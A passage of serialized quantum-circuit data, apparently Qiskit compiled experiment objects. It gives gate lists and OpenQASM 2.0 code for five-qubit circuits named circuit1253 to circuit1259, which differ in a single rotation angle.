3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1253', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1255', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1257', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1259', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 